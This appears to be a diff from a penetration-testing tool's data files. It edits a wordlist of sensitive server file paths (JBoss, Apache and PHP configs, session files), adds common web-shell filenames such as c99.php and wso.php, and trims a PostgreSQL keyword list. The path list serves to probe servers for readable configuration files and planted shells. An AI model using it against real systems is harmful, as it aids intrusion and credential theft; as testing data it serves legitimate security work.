/tmp/jboss/server/default/conf/standardjboss.xml
|
||||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/tmp/[jboss]/server/default/log/boot.log
|
/tmp/jboss/server/default/log/boot.log
|
||||||
/tmp/[jboss]/server/default/log/server.log
|
/tmp/jboss/server/default/log/server.log
|
||||||
/tmp/access.log
|
/tmp/access.log
|
||||||
/tmp/sess_
|
/tmp/sess_
|
||||||
/usr/apache/conf/httpd.conf
|
/usr/apache/conf/httpd.conf
|
||||||
@@ -1202,17 +1180,17 @@
|
|||||||
/usr/lib/php.ini
|
/usr/lib/php.ini
|
||||||
/usr/lib/php/php.ini
|
/usr/lib/php/php.ini
|
||||||
/usr/lib/security/mkuser.default
|
/usr/lib/security/mkuser.default
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
/usr/local/jboss/server/default/conf/jndi.properties
|
||||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
/usr/local/jboss/server/default/conf/log4j.xml
|
||||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
/usr/local/jboss/server/default/conf/login-config.xml
|
||||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
/usr/local/jboss/server/default/conf/server.log.properties
|
||||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/usr/local/[jboss]/server/default/log/boot.log
|
/usr/local/jboss/server/default/log/boot.log
|
||||||
/usr/local/[jboss]/server/default/log/server.log
|
/usr/local/jboss/server/default/log/server.log
|
||||||
/usr/local/apache/apache.conf
|
/usr/local/apache/apache.conf
|
||||||
/usr/local/apache/apache2.conf
|
/usr/local/apache/apache2.conf
|
||||||
/usr/local/apache/conf/access.conf
|
/usr/local/apache/conf/access.conf
|
||||||
@@ -1801,4 +1779,21 @@
|
|||||||
/etc/httpd/conf.d/squirrelmail.conf
|
/etc/httpd/conf.d/squirrelmail.conf
|
||||||
/usr/share/squirrelmail/config/config.php
|
/usr/share/squirrelmail/config/config.php
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/srv/www/htdos/squirrelmail/config/config.php
|
/srv/www/htdos/squirrelmail/config/config.php
|
||||||
|
|
||||||
|
# Web shells
|
||||||
|
|
||||||
|
/var/www/html/backdoor.php
|
||||||
|
/var/www/html/b374k.php
|
||||||
|
/var/www/html/c99.php
|
||||||
|
/var/www/html/cmd.php
|
||||||
|
/var/www/html/r57.php
|
||||||
|
/var/www/html/shell.php
|
||||||
|
/var/www/html/wso.php
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
|
||||||
|
/etc/lib/nfs/etab
|
||||||
|
/app/app.js
|
||||||
|
/app/configure.js
|
||||||
|
/app/config/config.json
|
||||||
|
|||||||
+41
-369
@@ -452,26 +452,13 @@ WRITEXOR
|
|||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
|
||||||
|
|
||||||
A
|
|
||||||
ABORT
|
|
||||||
ABS
|
ABS
|
||||||
ABSENT
|
ACOS
|
||||||
ABSOLUTE
|
|
||||||
ACCESS
|
|
||||||
ACCORDING
|
|
||||||
ACTION
|
|
||||||
ADA
|
|
||||||
ADD
|
|
||||||
ADMIN
|
|
||||||
AFTER
|
|
||||||
AGGREGATE
|
|
||||||
ALL
|
ALL
|
||||||
ALLOCATE
|
ALLOCATE
|
||||||
ALSO
|
|
||||||
ALTER
|
ALTER
|
||||||
ALWAYS
|
|
||||||
ANALYSE
|
ANALYSE
|
||||||
ANALYZE
|
ANALYZE
|
||||||
AND
|
AND
|
||||||
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
|
|||||||
AS
|
AS
|
||||||
ASC
|
ASC
|
||||||
ASENSITIVE
|
ASENSITIVE
|
||||||
ASSERTION
|
ASIN
|
||||||
ASSIGNMENT
|
|
||||||
ASYMMETRIC
|
ASYMMETRIC
|
||||||
AT
|
AT
|
||||||
|
ATAN
|
||||||
ATOMIC
|
ATOMIC
|
||||||
ATTRIBUTE
|
|
||||||
ATTRIBUTES
|
|
||||||
AUTHORIZATION
|
AUTHORIZATION
|
||||||
AVG
|
AVG
|
||||||
BACKWARD
|
|
||||||
BASE64
|
|
||||||
BEFORE
|
|
||||||
BEGIN
|
BEGIN
|
||||||
BEGIN_FRAME
|
BEGIN_FRAME
|
||||||
BEGIN_PARTITION
|
BEGIN_PARTITION
|
||||||
BERNOULLI
|
|
||||||
BETWEEN
|
BETWEEN
|
||||||
BIGINT
|
BIGINT
|
||||||
BINARY
|
BINARY
|
||||||
BIT
|
|
||||||
BIT_LENGTH
|
|
||||||
BLOB
|
BLOB
|
||||||
BLOCKED
|
|
||||||
BOM
|
|
||||||
BOOLEAN
|
BOOLEAN
|
||||||
BOTH
|
BOTH
|
||||||
BREADTH
|
|
||||||
BY
|
BY
|
||||||
C
|
|
||||||
CACHE
|
|
||||||
CALL
|
CALL
|
||||||
CALLED
|
CALLED
|
||||||
CARDINALITY
|
CARDINALITY
|
||||||
CASCADE
|
|
||||||
CASCADED
|
CASCADED
|
||||||
CASE
|
CASE
|
||||||
CAST
|
CAST
|
||||||
CATALOG
|
|
||||||
CATALOG_NAME
|
|
||||||
CEIL
|
CEIL
|
||||||
CEILING
|
CEILING
|
||||||
CHAIN
|
|
||||||
CHAR
|
CHAR
|
||||||
CHARACTER
|
CHARACTER
|
||||||
CHARACTERISTICS
|
|
||||||
CHARACTERS
|
|
||||||
CHARACTER_LENGTH
|
CHARACTER_LENGTH
|
||||||
CHARACTER_SET_CATALOG
|
|
||||||
CHARACTER_SET_NAME
|
|
||||||
CHARACTER_SET_SCHEMA
|
|
||||||
CHAR_LENGTH
|
CHAR_LENGTH
|
||||||
CHECK
|
CHECK
|
||||||
CHECKPOINT
|
CLASSIFIER
|
||||||
CLASS
|
|
||||||
CLASS_ORIGIN
|
|
||||||
CLOB
|
CLOB
|
||||||
CLOSE
|
CLOSE
|
||||||
CLUSTER
|
|
||||||
COALESCE
|
COALESCE
|
||||||
COBOL
|
|
||||||
COLLATE
|
COLLATE
|
||||||
COLLATION
|
COLLATION
|
||||||
COLLATION_CATALOG
|
|
||||||
COLLATION_NAME
|
|
||||||
COLLATION_SCHEMA
|
|
||||||
COLLECT
|
COLLECT
|
||||||
COLUMN
|
COLUMN
|
||||||
COLUMNS
|
|
||||||
COLUMN_NAME
|
|
||||||
COMMAND_FUNCTION
|
|
||||||
COMMAND_FUNCTION_CODE
|
|
||||||
COMMENT
|
|
||||||
COMMENTS
|
|
||||||
COMMIT
|
COMMIT
|
||||||
COMMITTED
|
|
||||||
CONCURRENTLY
|
CONCURRENTLY
|
||||||
CONDITION
|
CONDITION
|
||||||
CONDITION_NUMBER
|
|
||||||
CONFIGURATION
|
|
||||||
CONNECT
|
CONNECT
|
||||||
CONNECTION
|
|
||||||
CONNECTION_NAME
|
|
||||||
CONSTRAINT
|
CONSTRAINT
|
||||||
CONSTRAINTS
|
|
||||||
CONSTRAINT_CATALOG
|
|
||||||
CONSTRAINT_NAME
|
|
||||||
CONSTRAINT_SCHEMA
|
|
||||||
CONSTRUCTOR
|
|
||||||
CONTAINS
|
CONTAINS
|
||||||
CONTENT
|
|
||||||
CONTINUE
|
|
||||||
CONTROL
|
|
||||||
CONVERSION
|
|
||||||
CONVERT
|
CONVERT
|
||||||
COPY
|
COPY
|
||||||
CORR
|
CORR
|
||||||
CORRESPONDING
|
CORRESPONDING
|
||||||
COST
|
COS
|
||||||
|
COSH
|
||||||
COUNT
|
COUNT
|
||||||
COVAR_POP
|
COVAR_POP
|
||||||
COVAR_SAMP
|
COVAR_SAMP
|
||||||
CREATE
|
CREATE
|
||||||
CROSS
|
CROSS
|
||||||
CSV
|
|
||||||
CUBE
|
CUBE
|
||||||
CUME_DIST
|
CUME_DIST
|
||||||
CURRENT
|
CURRENT
|
||||||
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
|
|||||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
CURRENT_USER
|
CURRENT_USER
|
||||||
CURSOR
|
CURSOR
|
||||||
CURSOR_NAME
|
|
||||||
CYCLE
|
CYCLE
|
||||||
DATA
|
|
||||||
DATABASE
|
|
||||||
DATALINK
|
DATALINK
|
||||||
DATE
|
DATE
|
||||||
DATETIME_INTERVAL_CODE
|
|
||||||
DATETIME_INTERVAL_PRECISION
|
|
||||||
DAY
|
DAY
|
||||||
DB
|
|
||||||
DEALLOCATE
|
DEALLOCATE
|
||||||
DEC
|
DEC
|
||||||
|
DECFLOAT
|
||||||
DECIMAL
|
DECIMAL
|
||||||
DECLARE
|
DECLARE
|
||||||
DEFAULT
|
DEFAULT
|
||||||
DEFAULTS
|
|
||||||
DEFERRABLE
|
DEFERRABLE
|
||||||
DEFERRED
|
DEFINE
|
||||||
DEFINED
|
|
||||||
DEFINER
|
|
||||||
DEGREE
|
|
||||||
DELETE
|
DELETE
|
||||||
DELIMITER
|
|
||||||
DELIMITERS
|
|
||||||
DENSE_RANK
|
DENSE_RANK
|
||||||
DEPTH
|
|
||||||
DEREF
|
DEREF
|
||||||
DERIVED
|
|
||||||
DESC
|
DESC
|
||||||
DESCRIBE
|
DESCRIBE
|
||||||
DESCRIPTOR
|
|
||||||
DETERMINISTIC
|
DETERMINISTIC
|
||||||
DIAGNOSTICS
|
|
||||||
DICTIONARY
|
|
||||||
DISABLE
|
|
||||||
DISCARD
|
|
||||||
DISCONNECT
|
DISCONNECT
|
||||||
DISPATCH
|
|
||||||
DISTINCT
|
DISTINCT
|
||||||
DLNEWCOPY
|
DLNEWCOPY
|
||||||
DLPREVIOUSCOPY
|
DLPREVIOUSCOPY
|
||||||
@@ -653,313 +572,176 @@ DLURLSCHEME
|
|||||||
DLURLSERVER
|
DLURLSERVER
|
||||||
DLVALUE
|
DLVALUE
|
||||||
DO
|
DO
|
||||||
DOCUMENT
|
|
||||||
DOMAIN
|
|
||||||
DOUBLE
|
DOUBLE
|
||||||
DROP
|
DROP
|
||||||
DYNAMIC
|
DYNAMIC
|
||||||
DYNAMIC_FUNCTION
|
|
||||||
DYNAMIC_FUNCTION_CODE
|
|
||||||
EACH
|
EACH
|
||||||
ELEMENT
|
ELEMENT
|
||||||
ELSE
|
ELSE
|
||||||
EMPTY
|
EMPTY
|
||||||
ENABLE
|
|
||||||
ENCODING
|
|
||||||
ENCRYPTED
|
|
||||||
END
|
END
|
||||||
END-EXEC
|
END-EXEC
|
||||||
END_FRAME
|
END_FRAME
|
||||||
END_PARTITION
|
END_PARTITION
|
||||||
ENFORCED
|
|
||||||
ENUM
|
|
||||||
EQUALS
|
EQUALS
|
||||||
ESCAPE
|
ESCAPE
|
||||||
EVENT
|
|
||||||
EVERY
|
EVERY
|
||||||
EXCEPT
|
EXCEPT
|
||||||
EXCEPTION
|
|
||||||
EXCLUDE
|
|
||||||
EXCLUDING
|
|
||||||
EXCLUSIVE
|
|
||||||
EXEC
|
EXEC
|
||||||
EXECUTE
|
EXECUTE
|
||||||
EXISTS
|
EXISTS
|
||||||
EXP
|
EXP
|
||||||
EXPLAIN
|
|
||||||
EXPRESSION
|
|
||||||
EXTENSION
|
|
||||||
EXTERNAL
|
EXTERNAL
|
||||||
EXTRACT
|
EXTRACT
|
||||||
FALSE
|
FALSE
|
||||||
FAMILY
|
|
||||||
FETCH
|
FETCH
|
||||||
FILE
|
|
||||||
FILTER
|
FILTER
|
||||||
FINAL
|
|
||||||
FIRST
|
|
||||||
FIRST_VALUE
|
FIRST_VALUE
|
||||||
FLAG
|
|
||||||
FLOAT
|
FLOAT
|
||||||
FLOOR
|
FLOOR
|
||||||
FOLLOWING
|
|
||||||
FOR
|
FOR
|
||||||
FORCE
|
|
||||||
FOREIGN
|
FOREIGN
|
||||||
FORTRAN
|
|
||||||
FORWARD
|
|
||||||
FOUND
|
|
||||||
FRAME_ROW
|
FRAME_ROW
|
||||||
FREE
|
FREE
|
||||||
FREEZE
|
FREEZE
|
||||||
FROM
|
FROM
|
||||||
FS
|
|
||||||
FULL
|
FULL
|
||||||
FUNCTION
|
FUNCTION
|
||||||
FUNCTIONS
|
|
||||||
FUSION
|
FUSION
|
||||||
G
|
|
||||||
GENERAL
|
|
||||||
GENERATED
|
|
||||||
GET
|
GET
|
||||||
GLOBAL
|
GLOBAL
|
||||||
GO
|
|
||||||
GOTO
|
|
||||||
GRANT
|
GRANT
|
||||||
GRANTED
|
|
||||||
GREATEST
|
|
||||||
GROUP
|
GROUP
|
||||||
GROUPING
|
GROUPING
|
||||||
GROUPS
|
GROUPS
|
||||||
HANDLER
|
|
||||||
HAVING
|
HAVING
|
||||||
HEADER
|
|
||||||
HEX
|
|
||||||
HIERARCHY
|
|
||||||
HOLD
|
HOLD
|
||||||
HOUR
|
HOUR
|
||||||
ID
|
|
||||||
IDENTITY
|
IDENTITY
|
||||||
IF
|
|
||||||
IGNORE
|
|
||||||
ILIKE
|
ILIKE
|
||||||
IMMEDIATE
|
|
||||||
IMMEDIATELY
|
|
||||||
IMMUTABLE
|
|
||||||
IMPLEMENTATION
|
|
||||||
IMPLICIT
|
|
||||||
IMPORT
|
IMPORT
|
||||||
IN
|
IN
|
||||||
INCLUDING
|
|
||||||
INCREMENT
|
|
||||||
INDENT
|
|
||||||
INDEX
|
|
||||||
INDEXES
|
|
||||||
INDICATOR
|
INDICATOR
|
||||||
INHERIT
|
INITIAL
|
||||||
INHERITS
|
|
||||||
INITIALLY
|
INITIALLY
|
||||||
INLINE
|
|
||||||
INNER
|
INNER
|
||||||
INOUT
|
INOUT
|
||||||
INPUT
|
|
||||||
INSENSITIVE
|
INSENSITIVE
|
||||||
INSERT
|
INSERT
|
||||||
INSTANCE
|
|
||||||
INSTANTIABLE
|
|
||||||
INSTEAD
|
|
||||||
INT
|
INT
|
||||||
INTEGER
|
INTEGER
|
||||||
INTEGRITY
|
|
||||||
INTERSECT
|
INTERSECT
|
||||||
INTERSECTION
|
INTERSECTION
|
||||||
INTERVAL
|
INTERVAL
|
||||||
INTO
|
INTO
|
||||||
INVOKER
|
|
||||||
IS
|
IS
|
||||||
ISNULL
|
ISNULL
|
||||||
ISOLATION
|
|
||||||
JOIN
|
JOIN
|
||||||
K
|
JSON_ARRAY
|
||||||
KEY
|
JSON_ARRAYAGG
|
||||||
KEY_MEMBER
|
JSON_EXISTS
|
||||||
KEY_TYPE
|
JSON_OBJECT
|
||||||
LABEL
|
JSON_OBJECTAGG
|
||||||
|
JSON_QUERY
|
||||||
|
JSON_TABLE
|
||||||
|
JSON_TABLE_PRIMITIVE
|
||||||
|
JSON_VALUE
|
||||||
LAG
|
LAG
|
||||||
LANGUAGE
|
LANGUAGE
|
||||||
LARGE
|
LARGE
|
||||||
LAST
|
|
||||||
LAST_VALUE
|
LAST_VALUE
|
||||||
LATERAL
|
LATERAL
|
||||||
LC_COLLATE
|
|
||||||
LC_CTYPE
|
|
||||||
LEAD
|
LEAD
|
||||||
LEADING
|
LEADING
|
||||||
LEAKPROOF
|
|
||||||
LEAST
|
|
||||||
LEFT
|
LEFT
|
||||||
LENGTH
|
|
||||||
LEVEL
|
|
||||||
LIBRARY
|
|
||||||
LIKE
|
LIKE
|
||||||
LIKE_REGEX
|
LIKE_REGEX
|
||||||
LIMIT
|
LIMIT
|
||||||
LINK
|
LISTAGG
|
||||||
LISTEN
|
|
||||||
LN
|
LN
|
||||||
LOAD
|
|
||||||
LOCAL
|
LOCAL
|
||||||
LOCALTIME
|
LOCALTIME
|
||||||
LOCALTIMESTAMP
|
LOCALTIMESTAMP
|
||||||
LOCATION
|
LOG
|
||||||
LOCATOR
|
LOG10
|
||||||
LOCK
|
|
||||||
LOWER
|
LOWER
|
||||||
M
|
|
||||||
MAP
|
|
||||||
MAPPING
|
|
||||||
MATCH
|
MATCH
|
||||||
MATCHED
|
MATCHES
|
||||||
MATERIALIZED
|
MATCH_NUMBER
|
||||||
|
MATCH_RECOGNIZE
|
||||||
MAX
|
MAX
|
||||||
MAXVALUE
|
MEASURES
|
||||||
MAX_CARDINALITY
|
|
||||||
MEMBER
|
MEMBER
|
||||||
MERGE
|
MERGE
|
||||||
MESSAGE_LENGTH
|
|
||||||
MESSAGE_OCTET_LENGTH
|
|
||||||
MESSAGE_TEXT
|
|
||||||
METHOD
|
METHOD
|
||||||
MIN
|
MIN
|
||||||
MINUTE
|
MINUTE
|
||||||
MINVALUE
|
|
||||||
MOD
|
MOD
|
||||||
MODE
|
|
||||||
MODIFIES
|
MODIFIES
|
||||||
MODULE
|
MODULE
|
||||||
MONTH
|
MONTH
|
||||||
MORE
|
|
||||||
MOVE
|
|
||||||
MULTISET
|
MULTISET
|
||||||
MUMPS
|
|
||||||
NAME
|
|
||||||
NAMES
|
|
||||||
NAMESPACE
|
|
||||||
NATIONAL
|
NATIONAL
|
||||||
NATURAL
|
NATURAL
|
||||||
NCHAR
|
NCHAR
|
||||||
NCLOB
|
NCLOB
|
||||||
NESTING
|
|
||||||
NEW
|
NEW
|
||||||
NEXT
|
|
||||||
NFC
|
|
||||||
NFD
|
|
||||||
NFKC
|
|
||||||
NFKD
|
|
||||||
NIL
|
|
||||||
NO
|
NO
|
||||||
NONE
|
NONE
|
||||||
NORMALIZE
|
NORMALIZE
|
||||||
NORMALIZED
|
|
||||||
NOT
|
NOT
|
||||||
NOTHING
|
|
||||||
NOTIFY
|
|
||||||
NOTNULL
|
NOTNULL
|
||||||
NOWAIT
|
|
||||||
NTH_VALUE
|
NTH_VALUE
|
||||||
NTILE
|
NTILE
|
||||||
NULL
|
NULL
|
||||||
NULLABLE
|
|
||||||
NULLIF
|
NULLIF
|
||||||
NULLS
|
|
||||||
NUMBER
|
|
||||||
NUMERIC
|
NUMERIC
|
||||||
OBJECT
|
|
||||||
OCCURRENCES_REGEX
|
OCCURRENCES_REGEX
|
||||||
OCTETS
|
|
||||||
OCTET_LENGTH
|
OCTET_LENGTH
|
||||||
OF
|
OF
|
||||||
OFF
|
|
||||||
OFFSET
|
OFFSET
|
||||||
OIDS
|
|
||||||
OLD
|
OLD
|
||||||
|
OMIT
|
||||||
ON
|
ON
|
||||||
|
ONE
|
||||||
ONLY
|
ONLY
|
||||||
OPEN
|
OPEN
|
||||||
OPERATOR
|
|
||||||
OPTION
|
|
||||||
OPTIONS
|
|
||||||
OR
|
OR
|
||||||
ORDER
|
ORDER
|
||||||
ORDERING
|
|
||||||
ORDINALITY
|
|
||||||
OTHERS
|
|
||||||
OUT
|
OUT
|
||||||
OUTER
|
OUTER
|
||||||
OUTPUT
|
|
||||||
OVER
|
OVER
|
||||||
OVERLAPS
|
OVERLAPS
|
||||||
OVERLAY
|
OVERLAY
|
||||||
OVERRIDING
|
|
||||||
OWNED
|
|
||||||
OWNER
|
|
||||||
P
|
|
||||||
PAD
|
|
||||||
PARAMETER
|
PARAMETER
|
||||||
PARAMETER_MODE
|
|
||||||
PARAMETER_NAME
|
|
||||||
PARAMETER_ORDINAL_POSITION
|
|
||||||
PARAMETER_SPECIFIC_CATALOG
|
|
||||||
PARAMETER_SPECIFIC_NAME
|
|
||||||
PARAMETER_SPECIFIC_SCHEMA
|
|
||||||
PARSER
|
|
||||||
PARTIAL
|
|
||||||
PARTITION
|
PARTITION
|
||||||
PASCAL
|
PATTERN
|
||||||
PASSING
|
PER
|
||||||
PASSTHROUGH
|
|
||||||
PASSWORD
|
|
||||||
PATH
|
|
||||||
PERCENT
|
PERCENT
|
||||||
PERCENTILE_CONT
|
PERCENTILE_CONT
|
||||||
PERCENTILE_DISC
|
PERCENTILE_DISC
|
||||||
PERCENT_RANK
|
PERCENT_RANK
|
||||||
PERIOD
|
PERIOD
|
||||||
PERMISSION
|
PERMUTE
|
||||||
PLACING
|
PLACING
|
||||||
PLANS
|
|
||||||
PLI
|
|
||||||
PORTION
|
PORTION
|
||||||
POSITION
|
POSITION
|
||||||
POSITION_REGEX
|
POSITION_REGEX
|
||||||
POWER
|
POWER
|
||||||
PRECEDES
|
PRECEDES
|
||||||
PRECEDING
|
|
||||||
PRECISION
|
PRECISION
|
||||||
PREPARE
|
PREPARE
|
||||||
PREPARED
|
|
||||||
PRESERVE
|
|
||||||
PRIMARY
|
PRIMARY
|
||||||
PRIOR
|
|
||||||
PRIVILEGES
|
|
||||||
PROCEDURAL
|
|
||||||
PROCEDURE
|
PROCEDURE
|
||||||
PROGRAM
|
PTF
|
||||||
PUBLIC
|
|
||||||
QUOTE
|
|
||||||
RANGE
|
RANGE
|
||||||
RANK
|
RANK
|
||||||
READ
|
|
||||||
READS
|
READS
|
||||||
REAL
|
REAL
|
||||||
REASSIGN
|
|
||||||
RECHECK
|
|
||||||
RECOVERY
|
|
||||||
RECURSIVE
|
RECURSIVE
|
||||||
REF
|
REF
|
||||||
REFERENCES
|
REFERENCES
|
||||||
REFERENCING
|
REFERENCING
|
||||||
REFRESH
|
|
||||||
REGR_AVGX
|
REGR_AVGX
|
||||||
REGR_AVGY
|
REGR_AVGY
|
||||||
REGR_COUNT
|
REGR_COUNT
|
||||||
@@ -969,185 +751,87 @@ REGR_SLOPE
|
|||||||
REGR_SXX
|
REGR_SXX
|
||||||
REGR_SXY
|
REGR_SXY
|
||||||
REGR_SYY
|
REGR_SYY
|
||||||
REINDEX
|
|
||||||
RELATIVE
|
|
||||||
RELEASE
|
RELEASE
|
||||||
RENAME
|
|
||||||
REPEATABLE
|
|
||||||
REPLACE
|
|
||||||
REPLICA
|
|
||||||
REQUIRING
|
|
||||||
RESET
|
|
||||||
RESPECT
|
|
||||||
RESTART
|
|
||||||
RESTORE
|
|
||||||
RESTRICT
|
|
||||||
RESULT
|
RESULT
|
||||||
RETURN
|
RETURN
|
||||||
RETURNED_CARDINALITY
|
|
||||||
RETURNED_LENGTH
|
|
||||||
RETURNED_OCTET_LENGTH
|
|
||||||
RETURNED_SQLSTATE
|
|
||||||
RETURNING
|
RETURNING
|
||||||
RETURNS
|
RETURNS
|
||||||
REVOKE
|
REVOKE
|
||||||
RIGHT
|
RIGHT
|
||||||
ROLE
|
|
||||||
ROLLBACK
|
ROLLBACK
|
||||||
ROLLUP
|
ROLLUP
|
||||||
ROUTINE
|
|
||||||
ROUTINE_CATALOG
|
|
||||||
ROUTINE_NAME
|
|
||||||
ROUTINE_SCHEMA
|
|
||||||
ROW
|
ROW
|
||||||
ROWS
|
ROWS
|
||||||
ROW_COUNT
|
|
||||||
ROW_NUMBER
|
ROW_NUMBER
|
||||||
RULE
|
RUNNING
|
||||||
SAVEPOINT
|
SAVEPOINT
|
||||||
SCALE
|
|
||||||
SCHEMA
|
|
||||||
SCHEMA_NAME
|
|
||||||
SCOPE
|
SCOPE
|
||||||
SCOPE_CATALOG
|
|
||||||
SCOPE_NAME
|
|
||||||
SCOPE_SCHEMA
|
|
||||||
SCROLL
|
SCROLL
|
||||||
SEARCH
|
SEARCH
|
||||||
SECOND
|
SECOND
|
||||||
SECTION
|
SEEK
|
||||||
SECURITY
|
|
||||||
SELECT
|
SELECT
|
||||||
SELECTIVE
|
|
||||||
SELF
|
|
||||||
SENSITIVE
|
SENSITIVE
|
||||||
SEQUENCE
|
|
||||||
SEQUENCES
|
|
||||||
SERIALIZABLE
|
|
||||||
SERVER
|
|
||||||
SERVER_NAME
|
|
||||||
SESSION
|
|
||||||
SESSION_USER
|
SESSION_USER
|
||||||
SET
|
SET
|
||||||
SETOF
|
|
||||||
SETS
|
|
||||||
SHARE
|
|
||||||
SHOW
|
SHOW
|
||||||
SIMILAR
|
SIMILAR
|
||||||
SIMPLE
|
SIN
|
||||||
SIZE
|
SINH
|
||||||
|
SKIP
|
||||||
SMALLINT
|
SMALLINT
|
||||||
SNAPSHOT
|
|
||||||
SOME
|
SOME
|
||||||
SOURCE
|
|
||||||
SPACE
|
|
||||||
SPECIFIC
|
SPECIFIC
|
||||||
SPECIFICTYPE
|
SPECIFICTYPE
|
||||||
SPECIFIC_NAME
|
|
||||||
SQL
|
SQL
|
||||||
SQLCODE
|
|
||||||
SQLERROR
|
|
||||||
SQLEXCEPTION
|
SQLEXCEPTION
|
||||||
SQLSTATE
|
SQLSTATE
|
||||||
SQLWARNING
|
SQLWARNING
|
||||||
SQRT
|
SQRT
|
||||||
STABLE
|
|
||||||
STANDALONE
|
|
||||||
START
|
START
|
||||||
STATE
|
|
||||||
STATEMENT
|
|
||||||
STATIC
|
STATIC
|
||||||
STATISTICS
|
|
||||||
STDDEV_POP
|
STDDEV_POP
|
||||||
STDDEV_SAMP
|
STDDEV_SAMP
|
||||||
STDIN
|
|
||||||
STDOUT
|
|
||||||
STORAGE
|
|
||||||
STRICT
|
|
||||||
STRIP
|
|
||||||
STRUCTURE
|
|
||||||
STYLE
|
|
||||||
SUBCLASS_ORIGIN
|
|
||||||
SUBMULTISET
|
SUBMULTISET
|
||||||
|
SUBSET
|
||||||
SUBSTRING
|
SUBSTRING
|
||||||
SUBSTRING_REGEX
|
SUBSTRING_REGEX
|
||||||
SUCCEEDS
|
SUCCEEDS
|
||||||
SUM
|
SUM
|
||||||
SYMMETRIC
|
SYMMETRIC
|
||||||
SYSID
|
|
||||||
SYSTEM
|
SYSTEM
|
||||||
SYSTEM_TIME
|
SYSTEM_TIME
|
||||||
SYSTEM_USER
|
SYSTEM_USER
|
||||||
T
|
|
||||||
TABLE
|
TABLE
|
||||||
TABLES
|
|
||||||
TABLESAMPLE
|
TABLESAMPLE
|
||||||
TABLESPACE
|
TAN
|
||||||
TABLE_NAME
|
TANH
|
||||||
TEMP
|
|
||||||
TEMPLATE
|
|
||||||
TEMPORARY
|
|
||||||
TEXT
|
|
||||||
THEN
|
THEN
|
||||||
TIES
|
|
||||||
TIME
|
TIME
|
||||||
TIMESTAMP
|
TIMESTAMP
|
||||||
TIMEZONE_HOUR
|
TIMEZONE_HOUR
|
||||||
TIMEZONE_MINUTE
|
TIMEZONE_MINUTE
|
||||||
TO
|
TO
|
||||||
TOKEN
|
|
||||||
TOP_LEVEL_COUNT
|
|
||||||
TRAILING
|
TRAILING
|
||||||
TRANSACTION
|
|
||||||
TRANSACTIONS_COMMITTED
|
|
||||||
TRANSACTIONS_ROLLED_BACK
|
|
||||||
TRANSACTION_ACTIVE
|
|
||||||
TRANSFORM
|
|
||||||
TRANSFORMS
|
|
||||||
TRANSLATE
|
TRANSLATE
|
||||||
TRANSLATE_REGEX
|
TRANSLATE_REGEX
|
||||||
TRANSLATION
|
TRANSLATION
|
||||||
TREAT
|
TREAT
|
||||||
TRIGGER
|
TRIGGER
|
||||||
TRIGGER_CATALOG
|
|
||||||
TRIGGER_NAME
|
|
||||||
TRIGGER_SCHEMA
|
|
||||||
TRIM
|
TRIM
|
||||||
TRIM_ARRAY
|
TRIM_ARRAY
|
||||||
TRUE
|
TRUE
|
||||||
TRUNCATE
|
TRUNCATE
|
||||||
TRUSTED
|
|
||||||
TYPE
|
|
||||||
TYPES
|
|
||||||
UESCAPE
|
UESCAPE
|
||||||
UNBOUNDED
|
|
||||||
UNCOMMITTED
|
|
||||||
UNDER
|
|
||||||
UNENCRYPTED
|
|
||||||
UNION
|
UNION
|
||||||
UNIQUE
|
UNIQUE
|
||||||
UNKNOWN
|
UNKNOWN
|
||||||
UNLINK
|
UNMATCHED
|
||||||
UNLISTEN
|
|
||||||
UNLOGGED
|
|
||||||
UNNAMED
|
|
||||||
UNNEST
|
UNNEST
|
||||||
UNTIL
|
|
||||||
UNTYPED
|
|
||||||
UPDATE
|
UPDATE
|
||||||
UPPER
|
UPPER
|
||||||
URI
|
|
||||||
USAGE
|
|
||||||
USER
|
USER
|
||||||
USER_DEFINED_TYPE_CATALOG
|
|
||||||
USER_DEFINED_TYPE_CODE
|
|
||||||
USER_DEFINED_TYPE_NAME
|
|
||||||
USER_DEFINED_TYPE_SCHEMA
|
|
||||||
USING
|
USING
|
||||||
VACUUM
|
|
||||||
VALID
|
|
||||||
VALIDATE
|
|
||||||
VALIDATOR
|
|
||||||
VALUE
|
VALUE
|
||||||
VALUES
|
VALUES
|
||||||
VALUE_OF
|
VALUE_OF
|
||||||
@@ -1158,22 +842,15 @@ VARYING
|
|||||||
VAR_POP
|
VAR_POP
|
||||||
VAR_SAMP
|
VAR_SAMP
|
||||||
VERBOSE
|
VERBOSE
|
||||||
VERSION
|
|
||||||
VERSIONING
|
VERSIONING
|
||||||
VIEW
|
|
||||||
VOLATILE
|
|
||||||
WHEN
|
WHEN
|
||||||
WHENEVER
|
WHENEVER
|
||||||
WHERE
|
WHERE
|
||||||
WHITESPACE
|
|
||||||
WIDTH_BUCKET
|
WIDTH_BUCKET
|
||||||
WINDOW
|
WINDOW
|
||||||
WITH
|
WITH
|
||||||
WITHIN
|
WITHIN
|
||||||
WITHOUT
|
WITHOUT
|
||||||
WORK
|
|
||||||
WRAPPER
|
|
||||||
WRITE
|
|
||||||
XML
|
XML
|
